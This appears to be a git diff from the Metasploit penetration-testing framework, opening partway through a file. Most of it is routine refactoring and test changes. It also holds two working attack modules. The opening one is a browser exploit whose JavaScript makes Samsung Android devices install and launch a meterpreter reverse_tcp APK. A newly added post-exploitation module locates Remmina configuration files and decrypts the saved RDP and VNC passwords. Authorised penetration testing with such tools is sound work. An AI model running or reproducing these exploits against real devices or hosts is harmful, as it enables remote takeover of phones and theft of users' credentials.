'DefaultOptions' => { 'PAYLOAD' => 'android/meterpreter/reverse_tcp' },
|
||||
'Targets' => [ [ 'Automatic', {} ] ],
|
||||
'DisclosureDate' => 'Nov 12 2014',
|
||||
'DefaultTarget' => 0,
|
||||
|
||||
'BrowserRequirements' => {
|
||||
:source => 'script',
|
||||
:os_name => OperatingSystems::Match::ANDROID
|
||||
}
|
||||
))
|
||||
|
||||
register_options([
|
||||
OptString.new('APK_VERSION', [
|
||||
false, "The update version to advertise to the client", "1337"
|
||||
])
|
||||
], self.class)
|
||||
|
||||
deregister_options('JsObfuscate')
|
||||
end
|
||||
|
||||
def exploit
|
||||
@served_payloads = Hash.new(0)
|
||||
super
|
||||
end
|
||||
|
||||
def apk_bytes
|
||||
payload.encoded
|
||||
end
|
||||
|
||||
def on_request_uri(cli, req)
|
||||
if req.uri =~ /\/([a-zA-Z0-9]+)\.apk\/latest$/
|
||||
if req.method.upcase == 'HEAD'
|
||||
print_status "Serving metadata..."
|
||||
send_response(cli, '', magic_headers)
|
||||
else
|
||||
print_status "Serving payload '#{$1}'..."
|
||||
@served_payloads[$1] = 1
|
||||
send_response(cli, apk_bytes, magic_headers)
|
||||
end
|
||||
elsif req.uri =~ /_poll/
|
||||
vprint_debug "Polling #{req.qstring['id']}: #{@served_payloads[req.qstring['id']]}"
|
||||
send_response(cli, @served_payloads[req.qstring['id']].to_s, 'Content-type' => 'text/plain')
|
||||
elsif req.uri =~ /launch$/
|
||||
send_response_html(cli, launch_html)
|
||||
else
|
||||
super
|
||||
end
|
||||
end
|
||||
|
||||
# The browser appears to be vulnerable, serve the exploit
|
||||
def on_request_exploit(cli, req, browser)
|
||||
print_status "Serving exploit..."
|
||||
send_response_html(cli, generate_html)
|
||||
end
|
||||
|
||||
def magic_headers
|
||||
{ 'Content-Length' => apk_bytes.length,
|
||||
'ETag' => Digest::MD5.hexdigest(apk_bytes),
|
||||
'x-amz-meta-apk-version' => datastore['APK_VERSION'] }
|
||||
end
|
||||
|
||||
def generate_html
|
||||
%Q|
|
||||
<!doctype html>
|
||||
<html><body>
|
||||
<script>
|
||||
#{exploit_js}
|
||||
</script></body></html>
|
||||
|
|
||||
end
|
||||
|
||||
def exploit_js
|
||||
payload_id = rand_word
|
||||
|
||||
js_obfuscate %Q|
|
||||
|
||||
function poll() {
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('GET', '_poll?id=#{payload_id}&d='+Math.random()*999999999999);
|
||||
xhr.onreadystatechange = function(){
|
||||
if (xhr.readyState == 4) {
|
||||
if (xhr.responseText == '1') {
|
||||
setTimeout(killEnrollment, 100);
|
||||
} else {
|
||||
setTimeout(poll, 1000);
|
||||
setTimeout(enroll, 0);
|
||||
setTimeout(enroll, 500);
|
||||
}
|
||||
}
|
||||
};
|
||||
xhr.onerror = function(){
|
||||
setTimeout(poll, 1000);
|
||||
setTimeout(enroll, 0);
|
||||
};
|
||||
xhr.send();
|
||||
}
|
||||
|
||||
function enroll() {
|
||||
var loc = window.location.href.replace(/[/.]$/g, '');
|
||||
top.location = 'smdm://#{rand_word}?update_url='+
|
||||
encodeURIComponent(loc)+'/#{payload_id}.apk';
|
||||
}
|
||||
|
||||
function killEnrollment() {
|
||||
top.location = "intent://#{rand_word}?program="+
|
||||
"#{rand_word}/#Intent;scheme=smdm;launchFlags=268468256;end";
|
||||
setTimeout(launchApp, 300);
|
||||
}
|
||||
|
||||
function launchApp() {
|
||||
top.location='intent:view#Intent;SEL;component=com.metasploit.stage/.MainActivity;end';
|
||||
}
|
||||
|
||||
enroll();
|
||||
setTimeout(poll,600);
|
||||
|
||||
|
|
||||
end
|
||||
|
||||
def rand_word
|
||||
Rex::Text.rand_text_alphanumeric(3+rand(12))
|
||||
end
|
||||
end
|
|
@ -163,15 +163,15 @@ class Metasploit3 < Msf::Exploit::Local
|
|||
|
||||
def check_dirs
|
||||
print_status("Attempting to create a non-existant PATH dir to use.")
|
||||
@non_existant_dirs.each do |dir|
|
||||
@non_existant_dirs.each do |directory|
|
||||
begin
|
||||
client.fs.dir.mkdir(dir)
|
||||
if exist?(dir)
|
||||
register_file_for_cleanup(dir)
|
||||
return dir
|
||||
client.fs.dir.mkdir(directory)
|
||||
if exist?(directory)
|
||||
register_file_for_cleanup(directory)
|
||||
return directory
|
||||
end
|
||||
rescue Rex::Post::Meterpreter::RequestError => e
|
||||
vprint_status("Unable to create dir: #{dir} - #{e}")
|
||||
vprint_status("Unable to create dir: #{directory} - #{e}")
|
||||
end
|
||||
end
|
||||
|
||||
|
|
|
@ -230,7 +230,7 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
psexec(file_location, false, servicedescription, servicename, displayname)
|
||||
|
||||
print_status("Deleting \\#{filename}...")
|
||||
sleep(1)
|
||||
|
||||
#This is not really useful but will prevent double \\ on the wire :)
|
||||
if datastore['SHARE'] =~ /.[\\\/]/
|
||||
simple.connect("\\\\#{datastore['RHOST']}\\#{smbshare}")
|
||||
|
|
|
@ -31,7 +31,8 @@ class Metasploit3 < Msf::Exploit::Remote
|
|||
[
|
||||
['OSVDB', '80984'],
|
||||
['EDB', '18718'],
|
||||
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf']
|
||||
['URL', 'http://www.spentera.com/advisories/2012/SPN-01-2012.pdf'],
|
||||
['CVE', '2012-6664']
|
||||
],
|
||||
'Payload' =>
|
||||
{
|
||||
|
|
|
@ -0,0 +1,188 @@
|
|||
# encoding: binary
|
||||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
|
||||
class Metasploit3 < Msf::Post
|
||||
include Msf::Post::File
|
||||
include Msf::Post::Unix
|
||||
|
||||
def initialize(info = {})
|
||||
super(update_info(
|
||||
info,
|
||||
'Name' => 'UNIX Gather Remmina Credentials',
|
||||
'Description' => %q(
|
||||
Post module to obtain credentials saved for RDP and VNC from Remmina's configuration files.
|
||||
These are encrypted with 3DES using a 256-bit key generated by Remmina which is (by design)
|
||||
stored in (relatively) plain text in a file that must be properly protected.
|
||||
),
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' => ['Jon Hart <jon_hart[at]rapid7.com>'],
|
||||
'Platform' => %w(bsd linux osx unix),
|
||||
'SessionTypes' => %w(shell meterpreter)
|
||||
))
|
||||
end
|
||||
|
||||
def run
|
||||
creds = extract_all_creds
|
||||
creds.uniq!
|
||||
if creds.empty?
|
||||
vprint_status('No Reminna credentials collected')
|
||||
else
|
||||
vprint_good("Collected #{creds.size} sets of Remmina credentials")
|
||||
cred_table = Rex::Ui::Text::Table.new(
|
||||
'Header' => 'Remmina Credentials',
|
||||
'Indent' => 1,
|
||||
'Columns' => %w(Host Port Service User Password)
|
||||
)
|
||||
|
||||
creds.each do |cred|
|
||||
cred_table << cred
|
||||
report_credential(cred[3], cred[4])
|
||||
end
|
||||
|
||||
print_line(cred_table.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
def decrypt(secret, data)
|
||||
c = OpenSSL::Cipher::Cipher.new('des3')
|
||||
key_data = Base64.decode64(secret)
|
||||
# the key is the first 24 bytes of the secret
|
||||
c.key = key_data[0, 24]
|
||||
# the IV is the last 8 bytes of the secret
|
||||
c.iv = key_data[24, 8]
|
||||
# passwords less than 16 characters are padded with nulls
|
||||
c.padding = 0
|
||||
c.decrypt
|
||||
p = c.update(Base64.decode64(data))
|
||||
p << c.final
|
||||
# trim null-padded, < 16 character passwords
|
||||
p.gsub(/\x00*$/, '')
|
||||
end
|
||||
|
||||
# Extracts all remmina creds found anywhere on the target
|
||||
def extract_all_creds
|
||||
creds = []
|
||||
user_dirs = enum_user_directories
|
||||
if user_dirs.empty?
|
||||
print_error('No user directories found')
|
||||
return
|
||||
end
|
||||
|
||||
vprint_status("Searching for Remmina creds in #{user_dirs.size} user directories")
|
||||
# walk through each user directory
|
||||
enum_user_directories.each do |user_dir|
|
||||
remmina_dir = ::File.join(user_dir, '.remmina')
|
||||
pref_file = ::File.join(remmina_dir, 'remmina.pref')
|
||||
next unless file?(pref_file)
|
||||
|
||||
remmina_prefs = get_settings(pref_file)
|
||||
next if remmina_prefs.empty?
|
||||
|
||||
if (secret = remmina_prefs['secret'])
|
||||
vprint_status("Extracted secret #{secret} from #{pref_file}")
|
||||
else
|
||||
print_error("No Remmina secret key found in #{pref_file}")
|
||||
next
|
||||
end
|
||||
|
||||
# look for any \d+\.remmina files which contain the creds
|
||||
cred_files = dir(remmina_dir).map do |entry|
|
||||
::File.join(remmina_dir, entry) if entry =~ /^\d+\.remmina$/
|
||||
end
|
||||
cred_files.compact!
|
||||
|
||||
if cred_files.empty?
|
||||
vprint_status("No Remmina credential files in #{remmina_dir}")
|
||||
else
|
||||
creds |= extract_creds(secret, cred_files)
|
||||
end
|
||||
end
|
||||
|
||||
creds
|
||||
end
|
||||
|
||||
def extract_creds(secret, files)
|
||||
creds = []
|
||||
files.each do |file|
|
||||
settings = get_settings(file)
|
||||
next if settings.empty?
|
||||
|
||||
# get protocol, host, user
|
||||
proto = settings['protocol']
|
||||
host = settings['server']
|
||||
case proto
|
||||
when 'RDP'
|
||||
port = 3389
|
||||
user = settings['username']
|
||||
when 'VNC'
|
||||
port = 5900
|
||||
domain = settings['domain']
|
||||
if domain.blank?
|
||||
user = settings['username']
|
||||
else
|
||||
user = domain + '\\' + settings['username']
|
||||
end
|
||||
when 'SFTP', 'SSH'
|
||||
# XXX: in my testing, the box to save SSH passwords was disabled
|
||||
# so this may never work
|
||||
user = settings['ssh_username']
|
||||
port = 22
|
||||
else
|
||||
print_error("Unsupported protocol: #{proto}")
|
||||
next
|
||||
end
|
||||
|
||||
# get the password
|
||||
encrypted_password = settings['password']
|
||||
password = nil
|
||||
unless encrypted_password.blank?
|
||||
password = decrypt(secret, encrypted_password)
|
||||
end
|
||||
|
||||
if host && user && password
|
||||
creds << [ host, port, proto.downcase, user, password ]
|
||||
else
|
||||
missing = []
|
||||
missing << 'host' unless host
|
||||
missing << 'user' unless user
|
||||
missing << 'password' unless password
|
||||
vprint_error("No #{missing.join(',')} in #{file}")
|
||||
end
|
||||
end
|
||||
|
||||
creds
|
||||
end
|
||||
|
||||
# Reads key=value pairs from the specified file, returning them as a Hash of key => value
|
||||
def get_settings(file)
|
||||
settings = {}
|
||||
read_file(file).split("\n").each do |line|
|
||||
if /^\s*(?<setting>[^#][^=]+)=(?<value>.*)/ =~ line
|
||||
settings[setting] = value
|
||||
end
|
||||
end
|
||||
|
||||
vprint_error("No settings found in #{file}") if settings.empty?
|
||||
settings
|
||||
end
|
||||
|
||||
def report_credential(user, pass)
|
||||
credential_data = {
|
||||
workspace_id: myworkspace_id,
|
||||
origin_type: :session,
|
||||
session_id: session_db_id,
|
||||
post_reference_name: self.refname,
|
||||
username: user,
|
||||
private_data: pass,
|
||||
private_type: :password
|
||||
}
|
||||
|
||||
create_credential(credential_data)
|
||||
end
|
||||
|
||||
end
|
|
@ -171,10 +171,10 @@ class Metasploit3 < Msf::Post
|
|||
end
|
||||
|
||||
def check_bulletproof(user_dir)
|
||||
session.fs.dir.foreach(user_dir) do |dir|
|
||||
if dir =~ /BulletProof Software/
|
||||
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{dir}")
|
||||
return "#{user_dir}\\#{dir}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
|
||||
session.fs.dir.foreach(user_dir) do |directory|
|
||||
if directory =~ /BulletProof Software/
|
||||
vprint_status("BulletProof Data Directory found at #{user_dir}\\#{directory}")
|
||||
return "#{user_dir}\\#{directory}"#"\\BulletProof FTP Client\\2010\\sites\\Bookmarks"
|
||||
end
|
||||
end
|
||||
return nil
|
||||
|
|
65
msfcli
65
msfcli
|
@ -16,10 +16,20 @@ require 'rex'
|
|||
|
||||
|
||||
class Msfcli
|
||||
#
|
||||
# Attributes
|
||||
#
|
||||
|
||||
# @attribute framework
|
||||
# @return [Msf::Simple::Framework]
|
||||
|
||||
#
|
||||
# initialize
|
||||
#
|
||||
|
||||
def initialize(args)
|
||||
@args = {}
|
||||
@indent = ' '
|
||||
@framework = nil
|
||||
|
||||
@args[:module_name] = args.shift # First argument should be the module name
|
||||
@args[:mode] = args.pop || 'h' # Last argument should be the mode
|
||||
|
@ -31,6 +41,28 @@ class Msfcli
|
|||
end
|
||||
end
|
||||
|
||||
#
|
||||
# Instance Methods
|
||||
#
|
||||
|
||||
# The framework to create and list modules.
|
||||
#
|
||||
# @return [Msf::Simple::Framework]
|
||||
def framework
|
||||
@framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true})
|
||||
end
|
||||
|
||||
# Sets {#framework}.
|
||||
#
|
||||
# @raise [ArgumentError] if {#framework} already set
|
||||
def framework=(framework)
|
||||
if instance_variable_defined? :@framework
|
||||
fail ArgumentError.new("framework already set")
|
||||
end
|
||||
|
||||
@framework = framework
|
||||
end
|
||||
|
||||
#
|
||||
# Returns a usage Rex table
|
||||
#
|
||||
|
@ -73,7 +105,7 @@ class Msfcli
|
|||
# msfcli will end up loading EVERYTHING to memory to show you a help
|
||||
# menu plus a list of modules available. Really expensive if you ask me.
|
||||
$stdout.puts "[*] Please wait while we load the module tree..."
|
||||
framework = Msf::Simple::Framework.create
|
||||
self.framework = Msf::Simple::Framework.create
|
||||
ext = ''
|
||||
|
||||
tbl = Rex::Ui::Text::Table.new(
|
||||
|
@ -283,7 +315,6 @@ class Msfcli
|
|||
# Initializes exploit/payload/encoder/nop modules.
|
||||
#
|
||||
def init_modules
|
||||
@framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true})
|
||||
$stdout.puts "[*] Initializing modules..."
|
||||
|
||||
module_name = @args[:module_name]
|
||||
|
@ -297,11 +328,11 @@ class Msfcli
|
|||
whitelist = generate_whitelist
|
||||
|
||||
# Load up all the possible modules, this is where things get slow again
|
||||
@framework.init_module_paths({:whitelist=>whitelist})
|
||||
if (@framework.modules.module_load_error_by_path.length > 0)
|
||||
framework.init_module_paths({:whitelist=>whitelist})
|
||||
if (framework.modules.module_load_error_by_path.length > 0)
|
||||
print("Warning: The following modules could not be loaded!\n\n")
|
||||
|
||||
@framework.modules.module_load_error_by_path.each do |path, error|
|
||||
framework.modules.module_load_error_by_path.each do |path, error|
|
||||
print("\t#{path}: #{error}\n\n")
|
||||
end
|
||||
|
||||
|
@ -310,16 +341,16 @@ class Msfcli
|
|||
|
||||
# Determine what type of module it is
|
||||
if module_name =~ /exploit\/(.*)/
|
||||
modules[:module] = @framework.exploits.create($1)
|
||||
modules[:module] = framework.exploits.create($1)
|
||||
elsif module_name =~ /auxiliary\/(.*)/
|
||||
modules[:module] = @framework.auxiliary.create($1)
|
||||
modules[:module] = framework.auxiliary.create($1)
|
||||
elsif module_name =~ /post\/(.*)/
|
||||
modules[:module] = @framework.post.create($1)
|
||||
modules[:module] = framework.post.create($1)
|
||||
else
|
||||
modules[:module] = @framework.exploits.create(module_name)
|
||||
modules[:module] = framework.exploits.create(module_name)
|
||||
if modules[:module].nil?
|
||||
# Try falling back on aux modules
|
||||
modules[:module] = @framework.auxiliary.create(module_name)
|
||||
modules[:module] = framework.auxiliary.create(module_name)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -342,7 +373,7 @@ class Msfcli
|
|||
|
||||
# Create the payload to use
|
||||
if (modules[:module].datastore['PAYLOAD'])
|
||||
modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD'])
|
||||
modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD'])
|
||||
if modules[:payload]
|
||||
modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
||||
end
|
||||
|
@ -350,7 +381,7 @@ class Msfcli
|
|||
|
||||
# Create the encoder to use
|
||||
if modules[:module].datastore['ENCODER']
|
||||
modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER'])
|
||||
modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER'])
|
||||
if modules[:encoder]
|
||||
modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
||||
end
|
||||
|
@ -358,7 +389,7 @@ class Msfcli
|
|||
|
||||
# Create the NOP to use
|
||||
if modules[:module].datastore['NOP']
|
||||
modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP'])
|
||||
modules[:nop] = framework.nops.create(modules[:module].datastore['NOP'])
|
||||
if modules[:nop]
|
||||
modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_')
|
||||
end
|
||||
|
@ -454,7 +485,7 @@ class Msfcli
|
|||
Msf::Ui::Console::Driver::DefaultPrompt,
|
||||
Msf::Ui::Console::Driver::DefaultPromptChar,
|
||||
{
|
||||
'Framework' => @framework,
|
||||
'Framework' => framework,
|
||||
# When I use msfcli, chances are I want speed, so ASCII art fanciness
|
||||
# probably isn't much of a big deal for me.
|
||||
'DisableBanner' => true
|
||||
|
@ -474,7 +505,7 @@ class Msfcli
|
|||
con.run_single("exploit")
|
||||
|
||||
# If we have sessions or jobs, keep running
|
||||
if @framework.sessions.length > 0 or @framework.jobs.length > 0
|
||||
if framework.sessions.length > 0 or framework.jobs.length > 0
|
||||
con.run
|
||||
else
|
||||
con.run_single("quit")
|
||||
|
@ -558,7 +589,7 @@ class Msfcli
|
|||
end
|
||||
|
||||
# Process special var/val pairs...
|
||||
Msf::Ui::Common.process_cli_arguments(@framework, @args[:params])
|
||||
Msf::Ui::Common.process_cli_arguments(framework, @args[:params])
|
||||
|
||||
engage_mode(modules)
|
||||
$stdout.puts
|
||||
|
|
|
@ -4,24 +4,35 @@ require 'spec_helper'
|
|||
require 'msf/core/framework'
|
||||
|
||||
describe Msf::Framework do
|
||||
context '#initialize' do
|
||||
subject(:framework) {
|
||||
described_class.new
|
||||
}
|
||||
|
||||
it 'creates no threads' do
|
||||
expect {
|
||||
framework
|
||||
}.not_to change { Thread.list.count }
|
||||
end
|
||||
end
|
||||
|
||||
describe "#version" do
|
||||
CURRENT_VERSION = "4.10.1-dev"
|
||||
|
||||
subject do
|
||||
subject(:framework) do
|
||||
described_class.new
|
||||
end
|
||||
|
||||
it "should return the current version" do
|
||||
subject.version.should == CURRENT_VERSION
|
||||
framework.version.should == CURRENT_VERSION
|
||||
end
|
||||
|
||||
it "should return the Version constant" do
|
||||
described_class.const_get(:Version).should == subject.version
|
||||
described_class.const_get(:Version).should == framework.version
|
||||
end
|
||||
|
||||
it "should return the concatenation of Major.Minor.Point-Release" do
|
||||
major,minor,point,release = subject.version.split(/[.-]/)
|
||||
major,minor,point,release = framework.version.split(/[.-]/)
|
||||
major.to_i.should == described_class::Major
|
||||
minor.to_i.should == described_class::Minor
|
||||
point.to_i.should == described_class::Point
|
||||
|
@ -30,7 +41,7 @@ describe Msf::Framework do
|
|||
|
||||
skip "conform to SemVer 2.0 syntax: http://semver.org/" do
|
||||
it "should have constants that correspond to SemVer standards" do
|
||||
major,minor,patch,label = subject.version.split(/[.-]/)
|
||||
major,minor,patch,label = framework.version.split(/[.-]/)
|
||||
major.to_i.should == described_class::VERSION::MAJOR
|
||||
minor.to_i.should == described_class::VERSION::MINOR
|
||||
point.to_i.should == described_class::VERSION::POINT
|
||||
|
|
|
@ -1,99 +0,0 @@
|
|||
# -*- coding:binary -*-
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/task_manager'
|
||||
|
||||
describe Msf::TaskManager do
|
||||
|
||||
let(:framework) do
|
||||
Msf::Framework.new
|
||||
end
|
||||
|
||||
let(:tm) do
|
||||
Msf::TaskManager.new(framework)
|
||||
end
|
||||
|
||||
it "should have attributes" do
|
||||
tm.should respond_to("processing")
|
||||
tm.should respond_to("queue")
|
||||
tm.should respond_to("thread")
|
||||
tm.should respond_to("framework")
|
||||
tm.should respond_to("processing=")
|
||||
tm.should respond_to("queue=")
|
||||
tm.should respond_to("thread=")
|
||||
tm.should respond_to("framework=")
|
||||
end
|
||||
|
||||
it "should initialize with an empty queue" do
|
||||
tm.queue.length.should == 0
|
||||
tm.backlog.should == 0
|
||||
tm.backlog.should == tm.queue.length
|
||||
end
|
||||
|
||||
it "should add items to the queue and process them" do
|
||||
tm.queue_proc(Proc.new{ })
|
||||
tm.backlog.should == 1
|
||||
t = Msf::TaskManager::Task.new(Proc.new { })
|
||||
tm.queue_task(t)
|
||||
tm.backlog.should == 2
|
||||
tm.start
|
||||
t.wait
|
||||
tm.backlog.should == 0
|
||||
end
|
||||
|
||||
it "should add items to the queue and flush them" do
|
||||
tm.queue_proc(Proc.new{ })
|
||||
tm.backlog.should == 1
|
||||
tm.queue_proc(Proc.new{ })
|
||||
tm.backlog.should == 2
|
||||
tm.flush
|
||||
tm.backlog.should == 0
|
||||
end
|
||||
|
||||
it "should start and stop" do
|
||||
t = Msf::TaskManager::Task.new(Proc.new { })
|
||||
tm.queue_task(t)
|
||||
tm.backlog.should == 1
|
||||
tm.start
|
||||
t.wait
|
||||
tm.backlog.should == 0
|
||||
tm.stop
|
||||
1.upto 100 do |cnt|
|
||||
tm.queue_proc(Proc.new{ })
|
||||
tm.backlog.should == cnt
|
||||
end
|
||||
t = Msf::TaskManager::Task.new(Proc.new { })
|
||||
tm.queue_task(t)
|
||||
tm.start
|
||||
t.wait
|
||||
tm.backlog.should == 0
|
||||
end
|
||||
|
||||
it "should handle task timeouts" do
|
||||
t = Msf::TaskManager::Task.new(Proc.new { sleep(30) })
|
||||
t.timeout = 0.1
|
||||
|
||||
tm.start
|
||||
tm.queue_task(t)
|
||||
t.wait
|
||||
|
||||
t.status.should == :timeout
|
||||
t.duration.should <= 5.0
|
||||
end
|
||||
|
||||
it "should handle task exceptions" do
|
||||
t = Msf::TaskManager::Task.new(Proc.new { asdf1234() })
|
||||
tm.start
|
||||
tm.queue_task(t)
|
||||
t.wait
|
||||
t.status.should == :dropped
|
||||
t.exception.class.should == ::NoMethodError
|
||||
|
||||
t = Msf::TaskManager::Task.new(Proc.new { eval "'" })
|
||||
tm.queue_task(t)
|
||||
t.wait
|
||||
t.status.should == :dropped
|
||||
t.exception.should be_a ::SyntaxError
|
||||
end
|
||||
end
|
||||
|
|
@ -40,7 +40,6 @@ describe Msf::DBManager do
|
|||
it_should_behave_like 'Msf::DBManager::Service'
|
||||
it_should_behave_like 'Msf::DBManager::Session'
|
||||
it_should_behave_like 'Msf::DBManager::SessionEvent'
|
||||
it_should_behave_like 'Msf::DBManager::Sink'
|
||||
it_should_behave_like 'Msf::DBManager::Task'
|
||||
it_should_behave_like 'Msf::DBManager::Vuln'
|
||||
it_should_behave_like 'Msf::DBManager::VulnAttempt'
|
||||
|
|
1096
spec/msfcli_spec.rb
1096
spec/msfcli_spec.rb
File diff suppressed because it is too large
Load Diff
|
@ -20,6 +20,8 @@ require 'rspec/rails/fixture_support'
|
|||
require 'rspec/rails/matchers'
|
||||
require 'rspec/rails/mocks'
|
||||
|
||||
require 'metasploit/framework/spec'
|
||||
|
||||
FILE_FIXTURES_PATH = File.expand_path(File.dirname(__FILE__)) + '/file_fixtures/'
|
||||
|
||||
# Load the shared examples from the following engines
|
||||
|
@ -57,3 +59,4 @@ RSpec.configure do |config|
|
|||
end
|
||||
|
||||
Metasploit::Framework::Spec::Constants::Suite.configure!
|
||||
Metasploit::Framework::Spec::Threads::Suite.configure!
|
||||
|
|
|
@ -0,0 +1,24 @@
|
|||
shared_context 'Msf::Framework#threads cleaner' do
|
||||
after(:each) do |example|
|
||||
unless framework.threads?
|
||||
fail RuntimeError.new(
|
||||
"framework.threads was never initialized. There are no threads to clean up. " \
|
||||
"Remove `include_context Msf::Framework#threads cleaner` from context around " \
|
||||
"'#{example.metadata.full_description}'"
|
||||
)
|
||||
end
|
||||
|
||||
# explicitly kill threads so that they don't exhaust connection pool
|
||||
thread_manager = framework.threads
|
||||
|
||||
thread_manager.each do |thread|
|
||||
thread.kill
|
||||
# ensure killed thread is cleaned up by VM
|
||||
thread.join
|
||||
end
|
||||
|
||||
thread_manager.monitor.kill
|
||||
# ensure killed thread is cleaned up by VM
|
||||
thread_manager.monitor.join
|
||||
end
|
||||
end
|
|
@ -26,19 +26,4 @@ shared_context 'Msf::Simple::Framework' do
|
|||
after(:each) do
|
||||
dummy_pathname.rmtree
|
||||
end
|
||||
|
||||
after(:each) do
|
||||
# explicitly kill threads so that they don't exhaust connection pool
|
||||
thread_manager = framework.threads
|
||||
|
||||
thread_manager.each do |thread|
|
||||
thread.kill
|
||||
# ensure killed thread is cleaned up by VM
|
||||
thread.join
|
||||
end
|
||||
|
||||
thread_manager.monitor.kill
|
||||
# ensure killed thread is cleaned up by VM
|
||||
thread_manager.monitor.join
|
||||
end
|
||||
end
|
||||
|
|
|
@ -1,7 +0,0 @@
|
|||
shared_examples_for 'Msf::DBManager::Sink' do
|
||||
it { is_expected.to respond_to :initialize_sink }
|
||||
it { is_expected.to respond_to :queue }
|
||||
it { is_expected.to respond_to :sink }
|
||||
it { is_expected.to respond_to :sink= }
|
||||
it { is_expected.to respond_to :sync }
|
||||
end
|
Loading…
Reference in New Issue